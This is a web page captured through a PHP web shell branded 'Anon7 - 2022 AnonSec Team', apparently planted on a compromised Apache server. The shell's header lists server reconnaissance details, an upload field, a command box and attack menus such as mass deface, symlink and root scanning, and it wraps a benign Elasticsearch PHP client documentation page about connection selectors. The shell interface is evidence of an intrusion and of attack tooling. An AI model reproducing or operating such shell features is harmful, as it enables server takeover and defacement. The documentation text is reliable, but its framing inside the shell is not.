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/  Your IP : 172.18.0.1   [ Reverse IP ]
Web Server : Apache/2.4.38 (Debian)
System : Linux a1822d00732a 4.15.0-39-generic #42-Ubuntu SMP Tue Oct 23 15:48:01 UTC 2018 x86_64
User : www-data ( 33)
PHP Version : 7.1.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/vendor/elasticsearch/elasticsearch/docs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/html/vendor/elasticsearch/elasticsearch/docs/selectors.asciidoc
[[selectors]]
== Selectors

The connection pool maintains the list of connections, and decides when nodes should transition from alive to dead (and
vice versa).  It has no logic to choose connections, however.  That job belongs to the Selector class.

The selector's job is to return a single connection from a provided array of connections.  Like the Connection Pool,
there are several implementations to choose from.

=== RoundRobinSelector (Default)

This selector returns connections in a round-robin fashion.  Node #1 is selected on the first request, Node #2 on
the second request, etc.  This ensures an even load of traffic across your cluster.  Round-robin'ing happens on a
per-request basis (e.g. sequential requests go to different nodes).

The `RoundRobinSelector` is default, but if you wish to explicitily configure it you can do:

[source,php]
----
$client = ClientBuilder::create()
            ->setSelector('\Elasticsearch\ConnectionPool\Selectors\RoundRobinSelector')
            ->build();
----

Note that the implementation is specified via a namespace path to the class.

=== StickyRoundRobinSelector

This selector is "sticky", in that it prefers to reuse the same connection repeatedly.  For example, Node #1 is chosen
on the first request.  Node #1 will continue to be re-used for each subsequent request until that node fails.  Upon failure,
the selector will round-robin to the next available node, then "stick" to that node.

This is an ideal strategy for many PHP scripts.  Since PHP scripts are shared-nothing and tend to exit quickly, creating
new connections for each request is often a sub-optimal strategy and introduces a lot of overhead.  Instead, it is
better to "stick" to a single connection for the duration of the script.

By default, this selector will randomize the hosts upon initialization, which will still guarantee an even distribution
of load across the cluster.  It changes the round-robin dynamics from per-request to per-script.

If you are using <<future_mode>>, the "sticky" behavior of this selector will be non-ideal, since all parallel requests
will go to the same node instead of multiple nodes in your cluster.  When using future mode, the default `RoundRobinSelector`
should be preferred.

If you wish to use this selector, you may do so with:

[source,php]
----
$client = ClientBuilder::create()
            ->setSelector('\Elasticsearch\ConnectionPool\Selectors\StickyRoundRobinSelector')
            ->build();
----

Note that the implementation is specified via a namespace path to the class.

=== RandomSelector

This selector simply returns a random node, regardless of state.  It is generally just for testing.

If you wish to use this selector, you may do so with:

[source,php]
----
$client = ClientBuilder::create()
            ->setSelector('\Elasticsearch\ConnectionPool\Selectors\RandomSelector')
            ->build();
----

Note that the implementation is specified via a namespace path to the class.

=== Custom Selector

You can implement your own custom selector.  Custom selectors must implement `SelectorInterface`

[source,php]
----
namespace MyProject\Selectors;

use Elasticsearch\Connections\ConnectionInterface;
use Elasticsearch\ConnectionPool\Selectors\SelectorInterface

class MyCustomSelector implements SelectorInterface
{

    /**
     * Selects the first connection
     *
     * @param array $connections Array of Connection objects
     *
     * @return ConnectionInterface
     */
    public function select($connections)
    {
        // code here
    }

}
----
{zwsp} +

You can then use your custom selector either via object injection or namespace instantiation:

[source,php]
----
$mySelector = new MyCustomSelector();

$client = ClientBuilder::create()
            ->setSelector($mySelector)                             // object injection
            ->setSelector('\MyProject\Selectors\FirstSelector')    // or namespace
            ->build();
----

Anon7 - 2022
AnonSec Team